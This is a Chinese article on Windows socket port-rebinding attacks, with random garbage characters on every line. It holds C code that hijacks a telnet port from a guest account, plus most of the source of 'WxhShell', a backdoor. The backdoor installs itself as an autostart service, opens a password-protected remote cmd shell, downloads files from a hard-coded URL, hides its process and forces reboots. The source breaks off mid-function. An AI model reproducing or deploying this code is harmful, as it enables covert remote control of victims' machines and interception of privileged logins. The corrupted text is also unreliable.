在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
P_Bhec|#fT s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
,;)1|-^nu ^-|yF2>` saddr.sin_family = AF_INET;
3!OO_ MUeS8:q-N saddr.sin_addr.s_addr = htonl(INADDR_ANY);
-l ?J H)Kt!v8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
$d +n},[C{ :/1/i&a 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
mK);NvJ! JBCJVWUt 这意味着什么?意味着可以进行如下的攻击:
{;kH&Pp -$8M#n, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
r8uc. z2% t622b?w 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
'~Z#h P FX6*` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
DKzP)!B " #G/
_FRo` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
k\~A\UIYo EXrOP]Kl 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
AVx 0aj yVP 1=pz_[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
-H;%1y$A- CK{.Ic^ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
-nvK*rn>} }"{NW!RfP #include
sHr!GF #include
*YhX6J1 #include
R8uiLZd #include
%L^S;v3 DWORD WINAPI ClientThread(LPVOID lpParam);
/JOEnQ5X\! int main()
u{@b_75Y {
-54 WORD wVersionRequested;
fV`R7m. DWORD ret;
f7Dx.- WSADATA wsaData;
q%/ciPgE BOOL val;
g3i !> SOCKADDR_IN saddr;
luEP5l2& SOCKADDR_IN scaddr;
jgb>:]: int err;
0tzMu# SOCKET s;
x!<?/I)X SOCKET sc;
nKoc%TNqe int caddsize;
d_5wMK6O6 HANDLE mt;
6-'Y* DWORD tid;
g@ ZZcBx wVersionRequested = MAKEWORD( 2, 2 );
'x-PQQ err = WSAStartup( wVersionRequested, &wsaData );
1HBdIWhHv. if ( err != 0 ) {
xzGs%01] printf("error!WSAStartup failed!\n");
@+S5"W return -1;
|0wUOs*5 }
9%VNzPzf saddr.sin_family = AF_INET;
kp+\3z_ D-zqu~f` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
otsINAizgS 4eOQP saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
k?Bc^7l: saddr.sin_port = htons(23);
Dyx3N5?C if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ON$^_l/c {
&f\ng{ printf("error!socket failed!\n");
Q\>Kd
N{ return -1;
p:,(r{*? }
$g|/.XH% val = TRUE;
vk:m>?( //SO_REUSEADDR选项就是可以实现端口重绑定的
U73{Uv if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{FavF 9O {
Tk'YpL#U printf("error!setsockopt failed!\n");
"ct_EPr` return -1;
?\7" A }
NINaOs //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Cu%|}xq //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
U 9?!|h;7 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
\mt0mv;c }b#KV?xgW if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
FuYV}C {
R ks3L ret=GetLastError();
h4x RRyK printf("error!bind failed!\n");
V0]6F return -1;
y`~[R7E }
((U-JeFW listen(s,2);
S> f8j?n while(1)
Vm1U00lM{ {
4g.y$ caddsize = sizeof(scaddr);
:EK.&%2 //接受连接请求
o
<lS90J sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
k++Os'hSEY if(sc!=INVALID_SOCKET)
(wNL,<%~ {
N[~"X**x mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
|WiK* if(mt==NULL)
/&>6#3df- {
Um
k9 printf("Thread Creat Failed!\n");
BO b#9r break;
Ny;(1N|&3 }
&b 2Vt }
(~r"N?` CloseHandle(mt);
o3hsPzOQx }
B6gSt3w. closesocket(s);
uC>X;<^ WSACleanup();
5o~;0K] return 0;
rZDmZm?= }
xQ
`>\f DWORD WINAPI ClientThread(LPVOID lpParam)
t`
R#pQ {
/{. SOCKET ss = (SOCKET)lpParam;
bP`.teO\ SOCKET sc;
6'e}!O unsigned char buf[4096];
"%aJ'l2 SOCKADDR_IN saddr;
yIwAJl7Xf long num;
3|Q:tt'|# DWORD val;
"8Ud&o DWORD ret;
Cwxy~.mI //如果是隐藏端口应用的话,可以在此处加一些判断
F z_SID //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
fPs'A saddr.sin_family = AF_INET;
"lo:"y(u saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
h Znq\p~ saddr.sin_port = htons(23);
\c&%F=1+* if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
JkazB1h {
.`84Y printf("error!socket failed!\n");
M@rknq@ return -1;
+'$=\d^ }
C@` eYi val = 100;
&46h!gW if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.17WF\1HC. {
-{i;!XE$SR ret = GetLastError();
5-Vdq return -1;
?Sj3-*/? }
SU.T0>w if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Si#b"ls' {
(~Pb,Q ret = GetLastError();
|?CR|xqT return -1;
zg!;g`Z@S }
cn$E?&- if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
\4q%
n {
(yv&&Jc printf("error!socket connect failed!\n");
O_#Ag K<A closesocket(sc);
LL+ROX^M closesocket(ss);
>A#wvQl7 return -1;
u/e-m/ }
[XWY-q#Gg while(1)
(&4aebkZO {
#`5{?2gS9 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
lzz rzx^ //如果是嗅探内容的话,可以再此处进行内容分析和记录
`1F[.DdF //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
>&mlwxqv num = recv(ss,buf,4096,0);
cB
U,! if(num>0)
iN0gvjZ send(sc,buf,num,0);
] Cpd`}' else if(num==0)
MP\$_;&xB break;
I"4j152P| num = recv(sc,buf,4096,0);
" d3pkY if(num>0)
G\S\Qe{P~ send(ss,buf,num,0);
ngoo4}
else if(num==0)
O1pBr=+j+{ break;
u+eA>{ }
7a Fvj closesocket(ss);
zhbp"yju7 closesocket(sc);
9WsPBzi"T return 0 ;
XJ~_FiB }
`y; s1nL
H ~d :Z|8 ==========================================================
s7IaU|m !8^:19+ 下边附上一个代码,,WXhSHELL
je1f\N45 *R.Q!Lv+ ==========================================================
{dV#"+ MhN)ZhsC #include "stdafx.h"
rK W<kQT AAjsb<P #include <stdio.h>
6'UtB !gr #include <string.h>
l/,O9ur- #include <windows.h>
U`_(Lq%5W #include <winsock2.h>
N!>Gg|@~ #include <winsvc.h>
F23/|q{{ #include <urlmon.h>
ooY2"\o Tx%6whd/' #pragma comment (lib, "Ws2_32.lib")
&K5wCNX1 #pragma comment (lib, "urlmon.lib")
1\:puC\) R{.5Z/Vp6E #define MAX_USER 100 // 最大客户端连接数
Fx2z lM& #define BUF_SOCK 200 // sock buffer
>VnkgY #define KEY_BUFF 255 // 输入 buffer
"h'0&ZP~_ $F-qqkR$ #define REBOOT 0 // 重启
_IJPZ'Hr #define SHUTDOWN 1 // 关机
Q6Z%T.1 w4U]lg<}E #define DEF_PORT 5000 // 监听端口
7Wb:^.d
g ,Ju f #define REG_LEN 16 // 注册表键长度
qepsR/0M #define SVC_LEN 80 // NT服务名长度
l$D]*_ jc, EotZ$O= // 从dll定义API
D4[1CQ@}4D typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
y*A#}b*0 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
}:C4T*| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
ri&B%AAc typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
2bBTd@m4 L@Fw;G|%' // wxhshell配置信息
Cdl#LVqs struct WSCFG {
%1fH-:c=C0 int ws_port; // 监听端口
(KR$PLxDK char ws_passstr[REG_LEN]; // 口令
$lmbeW[0 int ws_autoins; // 安装标记, 1=yes 0=no
)Q\nR`k char ws_regname[REG_LEN]; // 注册表键名
4*W ??(=j char ws_svcname[REG_LEN]; // 服务名
Uj&2'>MJ$ char ws_svcdisp[SVC_LEN]; // 服务显示名
B
Jp\a7`; char ws_svcdesc[SVC_LEN]; // 服务描述信息
?1JVzZ4H char ws_passmsg[SVC_LEN]; // 密码输入提示信息
;Pik}, int ws_downexe; // 下载执行标记, 1=yes 0=no
l-4T Tg char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
?ihkV?;) char ws_filenam[SVC_LEN]; // 下载后保存的文件名
'L)@tkklp bFk >IifN };
R'f|1mt @0A7d
$J( // default Wxhshell configuration
@O9.~6 struct WSCFG wscfg={DEF_PORT,
laN:H mR8 "xuhuanlingzhe",
7UvfXzDNC 1,
PeGL
Rbx34 "Wxhshell",
)K.~A&y@ "Wxhshell",
@.ebQR-:H "WxhShell Service",
v'0A$`w` "Wrsky Windows CmdShell Service",
Ovh
"Please Input Your Password: ",
z?`&HU Nf 1,
>oi`%V "
http://www.wrsky.com/wxhshell.exe",
\G}EI|Wo "Wxhshell.exe"
V.5gxr3QqW };
22S4q`j }I<r=? // 消息定义模块
9X&Xc char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
wjW>#DE char *msg_ws_prompt="\n\r? for help\n\r#>";
@ qWgokf char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
6j{9\
R char *msg_ws_ext="\n\rExit.";
pMM,ox" char *msg_ws_end="\n\rQuit.";
f$$l,wo char *msg_ws_boot="\n\rReboot...";
$}&Y$w>S char *msg_ws_poff="\n\rShutdown...";
]2\|<. char *msg_ws_down="\n\rSave to ";
_]8FCO j#d=V@=a char *msg_ws_err="\n\rErr!";
{_QXx char *msg_ws_ok="\n\rOK!";
Gqq%q!k&1 aOWW..| char ExeFile[MAX_PATH];
j|"#S4IX)F int nUser = 0;
LcS\#p#s] HANDLE handles[MAX_USER];
e9/:q"*)/ int OsIsNt;
VqqI%[!Aw (@*[^@ipV SERVICE_STATUS serviceStatus;
tcyami6D4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
t%Hg8oya xayo{l=uGv // 函数声明
wJM})O%SQ int Install(void);
TUoEk int Uninstall(void);
1o\P7PLe int DownloadFile(char *sURL, SOCKET wsh);
8px@sXI*` int Boot(int flag);
,> lOmyh void HideProc(void);
j\&
` int GetOsVer(void);
*4#)or int Wxhshell(SOCKET wsl);
,.[T]37 void TalkWithClient(void *cs);
$Kgw6 int CmdShell(SOCKET sock);
S~L$sqt int StartFromService(void);
rC.z772y% int StartWxhshell(LPSTR lpCmdLine);
{]1o($.u Yl%1e|WV VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
`>&V_^y+ VOID WINAPI NTServiceHandler( DWORD fdwControl );
a;JB8 (A(7?eq // 数据结构和表定义
p>Dv&fX SERVICE_TABLE_ENTRY DispatchTable[] =
gSQq {
6Mu_9UAl` {wscfg.ws_svcname, NTServiceMain},
1'DD9d{qN {NULL, NULL}
_7es_w}R };
9x@( K| nNJU@<|{* // 自我安装
?g
gl8bzA int Install(void)
GlkTpX^b {
NrH2U Jm char svExeFile[MAX_PATH];
pEgQ)
9\
HKEY key;
-t~l!!N( strcpy(svExeFile,ExeFile);
"F?p\I)( B M5+;h ! // 如果是win9x系统,修改注册表设为自启动
<$bM*5sHF> if(!OsIsNt) {
S}6Ty2.\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
xl [3*K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C3q}Dh+] RegCloseKey(key);
Qgx9JJ> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
KvENH=oh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A;ip
V :) RegCloseKey(key);
pw|f4c7AH return 0;
B1)gudP` }
{3n|= }
)H@"S]?7i" }
FG/". dU else {
KZoIjK] ~I[Z2&I // 如果是NT以上系统,安装为系统服务
"TW%-67 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
y#F`yXUj if (schSCManager!=0)
GaV6h|6_ {
Q@]~O- SC_HANDLE schService = CreateService
_8x:%$ (
u#(VR]u\7 schSCManager,
{Q9?Q? wscfg.ws_svcname,
'J\nvNm wscfg.ws_svcdisp,
Fy:CG6@X SERVICE_ALL_ACCESS,
|a9d]^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
QOXG:?v\ SERVICE_AUTO_START,
q?}
/q SERVICE_ERROR_NORMAL,
>g7}JI& svExeFile,
cmG*" NULL,
v2=Iqo NULL,
}j<:hDQP NULL,
y4sKe:@2 NULL,
}-YM>q NULL
JSz;>
);
pG"pvfEl9f if (schService!=0)
<u "xHl8Io {
4<%(Y-_sF CloseServiceHandle(schService);
..jc^'L CloseServiceHandle(schSCManager);
cbe&SxJ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
r7B.@+QK strcat(svExeFile,wscfg.ws_svcname);
ToMvP B); if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
.\Gl)W RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
g7\MFertR^ RegCloseKey(key);
|v,%!ps return 0;
9N1Uv,OtB }
{A!1s; }
-u)f@e CloseServiceHandle(schSCManager);
=' %r"_`} }
\j
C[|LM& }
-Q3jK)1 >s0A.7,5 return 1;
RcJ.=?I! }
bO 8 >w9MF yM* CA,(c // 自我卸载
G<1)NT\u int Uninstall(void)
r~f*aD {
/QuuBtp HKEY key;
&CP0T:h
9$ GAs if(!OsIsNt) {
as#_Fer`U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
w:[1,rRvT RegDeleteValue(key,wscfg.ws_regname);
25EuVj`zL RegCloseKey(key);
+yC ]f
b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
X}j WNN RegDeleteValue(key,wscfg.ws_regname);
]QM{aSvXA RegCloseKey(key);
Iv,Ub_Ll9 return 0;
2rxZN\gyL }
T''PzY!Qf }
tE|W8=be/ }
O*qSc^ 9q else {
Ml-GAkgG +]?/c>M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
wWq(|" if (schSCManager!=0)
jLc"1+ {
?a)X)#lQ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Mw{0A\6 if (schService!=0)
p7SX,kpt> {
}jL_/gvgy if(DeleteService(schService)!=0) {
:A2{ CloseServiceHandle(schService);
LYTx8 CloseServiceHandle(schSCManager);
SNLZU%jan return 0;
sd(Yr6~.. }
Z]L_{=* CloseServiceHandle(schService);
C1V:_- }
(i3V[H CloseServiceHandle(schSCManager);
*\gS 2[S }
\/qo2'V
j` }
B!PT| sGBm[lplz return 1;
sY|by\-c }
He&7(mQ0^ 4c})LAwd& // 从指定url下载文件
*:r6E int DownloadFile(char *sURL, SOCKET wsh)
?WVp,vP {
LUPh!)8 HRESULT hr;
_aJo7 char seps[]= "/";
QmHj=s:x\ char *token;
V1yY> char *file;
yM_ta '^$ char myURL[MAX_PATH];
F+!w[}0 char myFILE[MAX_PATH];
%#AM }MWIa HACY strcpy(myURL,sURL);
8%+F.r token=strtok(myURL,seps);
3bWYRW while(token!=NULL)
b\Wlpb=QZ {
j<* file=token;
c@|!0
U%j token=strtok(NULL,seps);
O {hM }
to2#PXf]y N~=,RPjq GetCurrentDirectory(MAX_PATH,myFILE);
{pWb*~!k strcat(myFILE, "\\");
E \p Qh strcat(myFILE, file);
n0\k(@+k send(wsh,myFILE,strlen(myFILE),0);
r%:Q(|v? send(wsh,"...",3,0);
$Gy& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
s%cfJe_k if(hr==S_OK)
/
5\gP//9K return 0;
7O.?I#
76 else
t[r<&1[& return 1;
9~rrN60Q ;nSOeAF)Q }
.
X: ]J '#KT{ // 系统电源模块
%pJRu-D int Boot(int flag)
q.}M^iDe {
AhyV HANDLE hToken;
UnE[FYx TOKEN_PRIVILEGES tkp;
|>'.( 13JZ\`ceb if(OsIsNt) {
*ku}.n OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
_L^(CFE LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
8*bEsc| tkp.PrivilegeCount = 1;
9Z[EzKd<~' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Y^Y1re+} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
w'r?)WW$ if(flag==REBOOT) {
av8\?xmo.$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
1H-d<G0) return 0;
n)<S5P? }
ELvP<Ny} else {
B=<Z@u if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
hf`5NcnP return 0;
VG=mA4Dd }
5LX'fL7zU }
sC}p_'L else {
78MQoG< if(flag==REBOOT) {
v1j&oA}$. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
> N bb0T return 0;
o5(~nQ }
F
]x2;N else {
xHpB/P ~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
G~+BO'U9'G return 0;
xwJ.cy }
`;c{E%qeq }
/cXVJ(#j {CaTu5\ return 1;
ZzO^IZKlC }
fep8hf B; fxOa(mt // win9x进程隐藏模块
sX
c|++ void HideProc(void)
h>:eu# {
C f(g dI%#cf1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
S|Yz5)* if ( hKernel != NULL )
vmGGdj5aI {
a W9_[#z5 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
0|chRX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
}o d5kK; FreeLibrary(hKernel);
'
X9D( ?O }
$&ZN%o3 x-@}x@n&[ return;
bm\Zp }
DX b=Ku +M{A4nYY|1 // 获取操作系统版本
F8pP(Wl int GetOsVer(void)
uLq%Nu {
S2\|bs7;J, OSVERSIONINFO winfo;
(Do](C winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
cYx.<b
JH GetVersionEx(&winfo);
@s%!R if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Q1
5h \!u return 1;
it)!-[:bm else
)Kbz gmLr return 0;
' 2:HBJ }
(WuJ9 [rO TWN // 客户端句柄模块
rYfN int Wxhshell(SOCKET wsl)
+#RqQ8\ {
VSDG_:!K SOCKET wsh;
sMDHg struct sockaddr_in client;
_0Z8V[ DWORD myID;
[9H986= ~a06x^=j while(nUser<MAX_USER)
;56mkP {
;Ob`B@!=b int nSize=sizeof(client);
qZB}}pM# wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
grZ?F~P8 if(wsh==INVALID_SOCKET) return 1;
*t_JR gCP f1z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
=C4!h'hz if(handles[nUser]==0)
p->b Vt closesocket(wsh);
+'ADN!(B_ else
\2OjIEQQ nUser++;
(&@,Z I; }
=;m;r!,K WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
di|5|bn7 Z~6PrM-M return 0;
O!ngQrI }
S7kZpD$ "8*5!anu- // 关闭 socket
j= vlsW void CloseIt(SOCKET wsh)
(!:+q$#BK {
~fz9AhU8 closesocket(wsh);
^b&U0k$R nUser--;
Rdj/n : ExitThread(0);
}pOJ M&I }
qu+Zl1~$] LQDU8[- // 客户端请求句柄
S&z8-D=8k void TalkWithClient(void *cs)
bo_Tp~j {
sA:k8aj nS9 kwaO SOCKET wsh=(SOCKET)cs;
BWev(SF{Ny char pwd[SVC_LEN];
W_FN*Er char cmd[KEY_BUFF];
0UN65JBuD char chr[1];
%(d0`9 int i,j;
+et)!2N f~Ve7
while (nUser < MAX_USER) {
?3;0 SAh x~n]r[!L if(wscfg.ws_passstr) {
e;r?g67 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
sV$Zf
`X) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
lCxPR'C| //ZeroMemory(pwd,KEY_BUFF);
4VI'd|Ed i=0;
*'\xlsp# while(i<SVC_LEN) {
p`T,VU&. P+(q38f[ // 设置超时
jImw_Q fd_set FdRead;
N}X7g0>hV struct timeval TimeOut;
%WO4uOi:@ FD_ZERO(&FdRead);
#4wia%}u FD_SET(wsh,&FdRead);
]]!&>tOlI TimeOut.tv_sec=8;
!J k|ha~r TimeOut.tv_usec=0;
f6U
i~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
aF5=k:k if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
vI5'npM _2wH4^Vb if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`#y?:s]e pwd
=chr[0]; z8*{i]j
if(chr[0]==0xd || chr[0]==0xa) { 4u+4LB*
pwd=0; D\ kd6
break; |L%d^m
} z3C@0v=u>
i++; }e8u p*#me
} l<dtc[
54>gr1B
// 如果是非法用户,关闭 socket z z2'h>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WOR H4h9
} wpV)y Q^
v i~NfD@s
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Cy2)M(RW
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .e1Yd8
V2/?1
while(1) { K>S:Z
Rw]lW;EN<
ZeroMemory(cmd,KEY_BUFF); A#x_>fV
6<
@F
// 自动支持客户端 telnet标准 MwO`DrV
j=0; DQyy">]Mh
while(j<KEY_BUFF) { mm9xO%
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L/7YI\C2
cmd[j]=chr[0]; zOsk'ZE&
if(chr[0]==0xa || chr[0]==0xd) { _6Qb 3tl
cmd[j]=0; (\*+HZ`(Uu
break; {qbxiL-
} q-R'5p\C?|
j++; (^9dp[2
} +A%"_7L}
x)OJ?l
// 下载文件 o@W:PmKW
if(strstr(cmd,"http://")) { .xV^%e?H
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3.E3}Jz`
if(DownloadFile(cmd,wsh)) 2Wp)CI<\D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Rz-*zr&
else ql2O%B.6?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _}3NLAqg
} 3JXKpk?
else { Kp?j\67S
G*'1[Bu
switch(cmd[0]) { tL}_kK_!
9ELRn@5.
// 帮助 Io\tZXB
case '?': { -H9WwFk
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u7}C):@H
break; X(dHhO
} 6
TSC7jO
// 安装 1/ <Z6 ?U
case 'i': { 6hAMk<kx?i
if(Install()) P?$Iht.^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); EU4j'1!&g<
else .g52p+Z#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]JvZ{fA%*
break; *Y<1KXFU
} ' T%70)CM~
// 卸载 Ot([5/K
case 'r': { $ i;_yTht
if(Uninstall()) x
A"V!8C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Oix$B!-
else D9;s%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bXRSKp[$
break; (bD'SWE
} vR?E'K3
// 显示 wxhshell 所在路径 SnFAv7_
case 'p': { Kl]LnN%A{
char svExeFile[MAX_PATH]; a
n,$Z,G#K
strcpy(svExeFile,"\n\r"); _&}z+(Ug
strcat(svExeFile,ExeFile); <nbc
RO.
send(wsh,svExeFile,strlen(svExeFile),0); Dx>~^ ^<
break; 5~\GAjf
} %W,V~kb
// 重启 {bMOT*X=A
case 'b': { :,1kSM%r
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^zVW 3Y q
if(Boot(REBOOT)) >v1ajI>O&{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); idSc#n22
else { ;`:A(yN]T
closesocket(wsh); /`VrV{\/!
ExitThread(0); KvkU]s_
} |$&v)
break; dZ%rmTE(H
} OoOr@5g
// 关机 X}G3>HcP
case 'd': { ,<O| Iis
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K~Z$NS^W&
if(Boot(SHUTDOWN)) ;b;Bl:%?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zil<*(kv{
else { J[jzkzSu`
closesocket(wsh); #Pe|}!)u
ExitThread(0); I.hy"y2&
} B
f"L;L
break; S7f"\[Aw
} ve@E.`
// 获取shell Pe)SugCs
case 's': { u]jvXPE6
CmdShell(wsh); z-G*:DfgH
closesocket(wsh); 1CA%nqlng
ExitThread(0); }x(Ewr
break; >o|.0aw<
} 3R6=C~
// 退出 I|R;)[;X
case 'x': { VGeyZ\vU
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0W!S.]^1
CloseIt(wsh); $i"IOp
break; h}yfL@
} $[{YE[a
// 离开 7Kn}KO!Y8
case 'q': { uE-|]QQo
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~U<=SyZYo
closesocket(wsh); WIYWql>*
WSACleanup(); E4qQ
exit(1); b3l~wp6>
break; 8;5@5Au
} Pm==m9
} EN;4EC7tE
} :XCRKRDLE
eh}I?:(a?
// 提示信息 0q_?<v_1
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d0}P
} ak$D1#hY
} !(#d7R
KSxZ4Y
return; "T1A$DKw+R
} =}
flmUv~
?eOw8Rom
// shell模块句柄 J{e`P;ND
int CmdShell(SOCKET sock) 6h{>U*N"&d
{ gX;)A|9e
STARTUPINFO si; Ob@HzXH
ZeroMemory(&si,sizeof(si)); n7(/ml+Q_
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?#Y1E~N
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JV@b(x`
PROCESS_INFORMATION ProcessInfo; \fJ _,
char cmdline[]="cmd"; ]!v\whZ>
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E3QyiW
return 0; d~z%kl
5:
} kadw1sYj
%z"n}|%!
// 自身启动模式 -I.BQ
int StartFromService(void) iE,/x^&,&
{ A1F!I4p5
typedef struct k293wS
{ y_{fc$_&
DWORD ExitStatus; M=#g_*d
DWORD PebBaseAddress; SshjUNx
DWORD AffinityMask; Q(/F7"m
